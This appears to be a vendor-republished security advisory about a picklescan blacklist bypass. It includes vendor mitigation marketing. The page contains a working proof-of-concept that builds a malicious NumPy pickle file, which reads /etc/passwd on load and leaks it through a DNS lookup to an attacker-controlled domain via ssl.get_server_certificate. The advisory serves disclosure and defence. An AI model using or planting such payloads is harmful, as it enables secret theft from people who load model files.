GHSA-93mv-x874-956g
Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using
linecachemodule - Encodes the data for DNS exfiltration
- Constructs a malicious domain name using a third party service
dnslog.cn - Triggers a DNS resolution via
ssl.get_server_certificate - Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
import numpy as np
def create_malicious_model():
# Define the payload class
class DNSLogPayload:
def __reduce__(self):
# Step 1: read a line from /etc/passwd
linecache = __import__("linecache")
first_line = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain
subdomain = first_line.replace(":", "_").replace("/", "_")
fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.get_server_certificate to trigger DNS resolution
ssl_mod = __import__("ssl")
return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array
arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file
np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)
def load_model(model):
try:
return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
except Exception:
raise ValueError("Invalid file")
if __name__ == "__main__":
create_malicious_model()
model = "dnslog_trigger_payload.npy"
print("[i] Loading and executing the model")
data = load_model(model)
Impact
- Evade detection: Bypasses the latest version of picklescan's blacklist.
- Exfiltrate sensitive local files to an attacker controlled DNS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.25 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.25 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-93mv-x874-956g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-93mv-x874-956g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-93mv-x874-956g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-93mv-x874-956g in your dependencies?
O3 detects GHSA-93mv-x874-956g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.